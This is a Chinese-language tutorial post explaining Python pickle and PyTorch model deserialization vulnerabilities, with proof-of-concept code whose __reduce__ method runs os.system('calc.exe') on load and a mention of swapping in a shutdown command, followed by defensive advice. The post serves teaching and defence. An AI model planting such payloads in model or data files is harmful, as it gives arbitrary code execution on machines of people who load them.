PythonPickle/PyTorch反序列化漏洞
Posted zstar-_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PythonPickle/PyTorch反序列化漏洞相关的知识,希望对你有一定的参考价值。
有人说,不要轻易加载未知来源的模型,否则存在反序列化攻击的风险,本文就对此言论进行测试分析。
Pickle反序列化漏洞
通常情况下,会用到Pickle来将一些变量/对象转换成字节串进行存储,此操作称为序列化。
读取pkl文件,还原其中的数据,此操作称为反序列化。
而在Python中,有一个天然的魔法方法__reduce__
,它在进行反序列化中,会自动执行其下的内容,这就造成了一个可被用于攻击的漏洞。
__reduce__
方法主要有两种方式,返回字符串或者返回元组,后者可携带一些操作指令。
具体的解释可参考官方文档:https://docs.python.org/3/library/pickle.html
下面看一个示例:
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
self.b = '2'
self.c = '3'
def __reduce__(self):
return (os.system, ('calc.exe',))
if __name__ == '__main__':
aa = Test()
with open("model.pkl", "wb") as f:
pickle.dump(aa, f, protocol=0)
with open("model.pkl", "rb") as f:
A = pickle.load(f)
运行本示例,会发现计算器会被打开,这是因为在反序列化的过程中,执行了'calc.exe'
。相当于直接在控制台中输入calc.exe
,从而打开计算器。
这个指令可以替换成任何命令,比如shutdown -s -t 0
,这样当进行反序列操作后,会直接关机。
PyTorch反序列化漏洞
Pytorch的模型保存和加载底层依然是用到了Pickle,因此同样存在反序列化的漏洞。
下面是个示例:
首先定义一个简单的DNN模型:
import torch
import torch.nn as nn
import torch.nn.functional as F
import os
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.layer1 = nn.Linear(1, 128)
self.layer2 = nn.Linear(128, 128)
self.layer3 = nn.Linear(128, 2)
def forward(self, x):
x = F.relu(self.layer1(x))
x = F.relu(self.layer2(x))
action = self.layer3(x)
return action
def __reduce__(self):
return (os.system, ('calc.exe',))
然后保存模型,再进行加载:
if __name__ == '__main__':
a = Net()
torch.save(a, '12.pt')
b = torch.load('12.pt')
运行之后,同样可以发现计算器被打开。
上面的方法是保存整个模型,再进行加载。另一种模型保存和加载的方式是仅保存和加载模型的参数。
if __name__ == '__main__':
a = Net()
torch.save(a.state_dict(), '12.pt')
c = Net()
c.load_state_dict(torch.load('12.pt'))
运行该方法,发现计算器没有被打开。
总结
- 加载模型时,尽可能不要加载整个模型,否则存在反序列化风险,加载模型参数则不存在风险。
- Pickle反序列化风险避免方式比较复杂,可以通过
黑白名单
、禁用R指令
等方式,更详细的内容可参考https://zhuanlan.zhihu.com/p/89132768
以上是关于PythonPickle/PyTorch反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
漏洞风险提示Tomcat Session反序列化代码执行漏洞